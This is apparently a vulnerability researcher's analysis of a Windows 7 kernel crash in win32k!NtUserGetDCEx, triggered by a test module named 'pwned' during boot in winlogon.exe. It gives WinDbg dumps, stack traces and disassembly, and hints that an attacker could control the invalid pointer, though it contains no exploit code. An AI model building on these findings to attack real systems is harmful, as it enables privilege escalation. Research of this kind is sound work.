rax=fffff900c011b010 rbx=fffffa8005095ac0 rcx=0000000000000000
rdx=0000000000000001 rsi=0000000000000000 rdi=0000000000000000
rip=fffff9600016126f rsp=fffff880045cf4b0 rbp=0000000000000000
 r8=0000000000000003  r9=0000000000000000 r10=fffff960001611b8
r11=000007fffffde000 r12=0000000000000000 r13=0000000000000003
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
win32k!NtUserGetDCEx+0xb7:
fffff960`0016126f 488b4108        mov     rax,qword ptr [rcx+8] ds:002b:00000000`00000008=????????????????

Looking at the BugCheck, it cause an SYSTEM_SERVICE_EXCEPTION (3b) and the first argument showing an Access Violation is happened during boot time. Stack trace:


STACK_TEXT:  
fffff880`045cf4b0 fffff800`02af39d3 : fffffa80`05095ac0 fffff880`045cf590 00000000`00000000 00000000`0024d810 : win32k!NtUserGetDCEx+0xb7
fffff880`045cf510 00000000`76dd564a : 00000000`76e321db 00000000`0024d810 00000000`00000000 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x13
00000000`0024d4f8 00000000`76e321db : 00000000`0024d810 00000000`00000000 00000000`00000000 00000000`00440000 : USER32!NtUserGetDCEx+0xa
00000000`0024d500 00000000`76e31c69 : 00000000`00447410 00000000`0044740b 00000000`00000008 00000000`77008795 : USER32!SoftModalMessageBox+0x21b
00000000`0024d630 00000000`76e314b7 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`0045b1e0 : USER32!MessageBoxWorker+0x31d
00000000`0024d7f0 00000000`76e3166a : 00000000`0045b1e0 000007fe`fcaa4000 00000000`0045d500 00000000`0045b1e0 : USER32!MessageBoxTimeoutW+0xb3
00000000`0024d8c0 00000000`76e31352 : 00000000`00000001 000007fe`0000000e 00000000`0024df00 00000000`00000000 : USER32!MessageBoxTimeoutA+0x18a
00000000`0024d930 000007fe`fca9101d : 00000000`00000001 000007fe`fca91721 00000000`00000000 00000000`0024df00 : USER32!MessageBoxA+0x4e
00000000`0024d970 00000000`00000001 : 000007fe`fca91721 00000000`00000000 00000000`0024df00 00000000`00000002 : pwned+0x101d
00000000`0024d978 000007fe`fca91721 : 00000000`00000000 00000000`0024df00 00000000`00000002 000007fe`fca91058 : 0x1
00000000`0024d980 00000000`00000000 : 00000000`0024df00 00000000`00000002 000007fe`fca91058 00000000`00000000 : pwned+0x1721

Full dump (!analyze -v)


*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

SYSTEM_SERVICE_EXCEPTION (3b)
An exception happened while executing a system service routine.
Arguments:
Arg1: 00000000c0000005, Exception code that caused the bugcheck
Arg2: fffff9600016126f, Address of the instruction which caused the bugcheck
Arg3: fffff880045ceae0, Address of the context record for the exception that caused the bugcheck
Arg4: 0000000000000000, zero.

Debugging Details:
------------------


KEY_VALUES_STRING: 1


TIMELINE_ANALYSIS: 1


DUMP_CLASS: 1

DUMP_QUALIFIER: 0

BUILD_VERSION_STRING:  7601.24231.amd64fre.win7sp1_ldr.180810-0600

DUMP_TYPE:  0

BUGCHECK_P1: c0000005

BUGCHECK_P2: fffff9600016126f

BUGCHECK_P3: fffff880045ceae0

BUGCHECK_P4: 0

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

FAULTING_IP:
win32k!NtUserGetDCEx+b7
fffff960`0016126f 488b4108        mov     rax,qword ptr [rcx+8]

CONTEXT:  fffff880045ceae0 -- (.cxr 0xfffff880045ceae0)
rax=fffff900c011b010 rbx=fffffa8005095ac0 rcx=0000000000000000
rdx=0000000000000001 rsi=0000000000000000 rdi=0000000000000000
rip=fffff9600016126f rsp=fffff880045cf4b0 rbp=0000000000000000
 r8=0000000000000003  r9=0000000000000000 r10=fffff960001611b8
r11=000007fffffde000 r12=0000000000000000 r13=0000000000000003
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
win32k!NtUserGetDCEx+0xb7:
fffff960`0016126f 488b4108        mov     rax,qword ptr [rcx+8] ds:002b:00000000`00000008=????????????????
Resetting default scope

CPU_COUNT: 1

CPU_MHZ: 8f6

CPU_VENDOR:  GenuineIntel

CPU_FAMILY: 6

CPU_MODEL: 3d

CPU_STEPPING: 4

CPU_MICROCODE: 6,3d,4,0 (F,M,S,R)  SIG: 2A'00000000 (cache) 2A'00000000 (init)

DEFAULT_BUCKET_ID:  WIN7_DRIVER_FAULT

BUGCHECK_STR:  0x3B

PROCESS_NAME:  winlogon.exe

CURRENT_IRQL:  2

ANALYSIS_SESSION_HOST:  HEAVEN-PC

ANALYSIS_SESSION_TIME:  10-24-2018 21:44:25.0111

ANALYSIS_VERSION: 10.0.17134.1 amd64fre

LAST_CONTROL_TRANSFER:  from fffff80002af39d3 to fffff9600016126f

STACK_TEXT:  
fffff880`045cf4b0 fffff800`02af39d3 : fffffa80`05095ac0 fffff880`045cf590 00000000`00000000 00000000`0024d810 : win32k!NtUserGetDCEx+0xb7
fffff880`045cf510 00000000`76dd564a : 00000000`76e321db 00000000`0024d810 00000000`00000000 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x13
00000000`0024d4f8 00000000`76e321db : 00000000`0024d810 00000000`00000000 00000000`00000000 00000000`00440000 : USER32!NtUserGetDCEx+0xa
00000000`0024d500 00000000`76e31c69 : 00000000`00447410 00000000`0044740b 00000000`00000008 00000000`77008795 : USER32!SoftModalMessageBox+0x21b
00000000`0024d630 00000000`76e314b7 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`0045b1e0 : USER32!MessageBoxWorker+0x31d
00000000`0024d7f0 00000000`76e3166a : 00000000`0045b1e0 000007fe`fcaa4000 00000000`0045d500 00000000`0045b1e0 : USER32!MessageBoxTimeoutW+0xb3
00000000`0024d8c0 00000000`76e31352 : 00000000`00000001 000007fe`0000000e 00000000`0024df00 00000000`00000000 : USER32!MessageBoxTimeoutA+0x18a
00000000`0024d930 000007fe`fca9101d : 00000000`00000001 000007fe`fca91721 00000000`00000000 00000000`0024df00 : USER32!MessageBoxA+0x4e
00000000`0024d970 00000000`00000001 : 000007fe`fca91721 00000000`00000000 00000000`0024df00 00000000`00000002 : pwned+0x101d
00000000`0024d978 000007fe`fca91721 : 00000000`00000000 00000000`0024df00 00000000`00000002 000007fe`fca91058 : 0x1
00000000`0024d980 00000000`00000000 : 00000000`0024df00 00000000`00000002 000007fe`fca91058 00000000`00000000 : pwned+0x1721


THREAD_SHA1_HASH_MOD_FUNC:  28860cd61556fec47ee8b98cee370782542f9f75

THREAD_SHA1_HASH_MOD_FUNC_OFFSET:  96b696341545d28bd11ab89cef209459add5d6ad

THREAD_SHA1_HASH_MOD:  733a7efb513a8a4310aebdea1f93670be82694d5

FOLLOWUP_IP:
win32k!NtUserGetDCEx+b7
fffff960`0016126f 488b4108        mov     rax,qword ptr [rcx+8]

FAULT_INSTR_CODE:  8418b48

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  win32k!NtUserGetDCEx+b7

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: win32k

IMAGE_NAME:  win32k.sys

DEBUG_FLR_IMAGE_TIMESTAMP:  5b40db20

IMAGE_VERSION:  6.1.7601.24204

STACK_COMMAND:  .cxr 0xfffff880045ceae0 ; kb

FAILURE_BUCKET_ID:  X64_0x3B_win32k!NtUserGetDCEx+b7

BUCKET_ID:  X64_0x3B_win32k!NtUserGetDCEx+b7

PRIMARY_PROBLEM_CLASS:  X64_0x3B_win32k!NtUserGetDCEx+b7

TARGET_TIME:  2018-10-24T13:30:00.000Z

OSBUILD:  7601

OSSERVICEPACK:  1000

SERVICEPACK_NUMBER: 0

OS_REVISION: 0

SUITE_MASK:  272

PRODUCT_TYPE:  1

OSPLATFORM_TYPE:  x64

OSNAME:  Windows 7

OSEDITION:  Windows 7 WinNt (Service Pack 1) TerminalServer SingleUserTS

OS_LOCALE:  

USER_LCID:  0

OSBUILD_TIMESTAMP:  2018-08-10 23:14:00

BUILDDATESTAMP_STR:  180810-0600

BUILDLAB_STR:  win7sp1_ldr

BUILDOSVER_STR:  6.1.7601.24231.amd64fre.win7sp1_ldr.180810-0600

ANALYSIS_SESSION_ELAPSED_TIME:  a8b

ANALYSIS_SOURCE:  KM

FAILURE_ID_HASH_STRING:  km:x64_0x3b_win32k!ntusergetdcex+b7

FAILURE_ID_HASH:  {c08a00a3-15a5-89cf-350a-72fc675556fc}

Followup:     MachineOwner
---------

Vulnerability Analysis

Looking at the registers output, we can see an invalid pointer is happening:


kd&gt; r
Last set context:
rax=fffff900c011b010 rbx=fffffa8005095ac0 rcx=0000000000000000
rdx=0000000000000001 rsi=0000000000000000 rdi=0000000000000000
rip=fffff9600016126f rsp=fffff880045cf4b0 rbp=0000000000000000
 r8=0000000000000003  r9=0000000000000000 r10=fffff960001611b8
r11=000007fffffde000 r12=0000000000000000 r13=0000000000000003
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
win32k!NtUserGetDCEx+0xb7:
fffff960`0016126f 488b4108        mov     rax,qword ptr [rcx+8] ds:002b:00000000`00000008=????????????????

Inspecting the pointer rcx+8 to view the memory address it referencing and we can confirm the memory are indeed invalid / free. There could be a potential of attacker to control from here when mapping into winlogon.exe process by overwriting something in the memory to control the object.


kd&gt; dd rcx+8
00000000`00000008  ???????? ???????? ???????? ????????
00000000`00000018  ???????? ???????? ???????? ????????
00000000`00000028  ???????? ???????? ???????? ????????
00000000`00000038  ???????? ???????? ???????? ????????
00000000`00000048  ???????? ???????? ???????? ????????
00000000`00000058  ???????? ???????? ???????? ????????
00000000`00000068  ???????? ???????? ???????? ????????
00000000`00000078  ???????? ???????? ???????? ????????

Disassembly code of the crash path:


kd&gt; u win32k!NtUserGetDCEx+0xb7
win32k!NtUserGetDCEx+0xb7:
fffff960`0016126f 488b4108        mov     rax,qword ptr [rcx+8]      // ds:002b:00000000`00000008=????????????????
fffff960`00161273 488b7810        mov     rdi,qword ptr [rax+10h]
fffff960`00161277 ff15936d1d00    call    qword ptr [win32k!_imp_PsGetCurrentThreadWin32Thread (fffff960`00338010)]
fffff960`0016127d 0fbaa0980100001d bt      dword ptr [rax+198h],1Dh
fffff960`00161285 731c            jae     win32k!NtUserGetDCEx+0xeb (fffff960`001612a3)
fffff960`00161287 ff15836d1d00    call    qword ptr [win32k!_imp_PsGetCurrentThreadWin32Thread (fffff960`00338010)]
fffff960`0016128d 488b8858010000  mov     rcx,qword ptr [rax+158h]
fffff960`00161294 488b81b0020000  mov     rax,qword ptr [rcx+2B0h]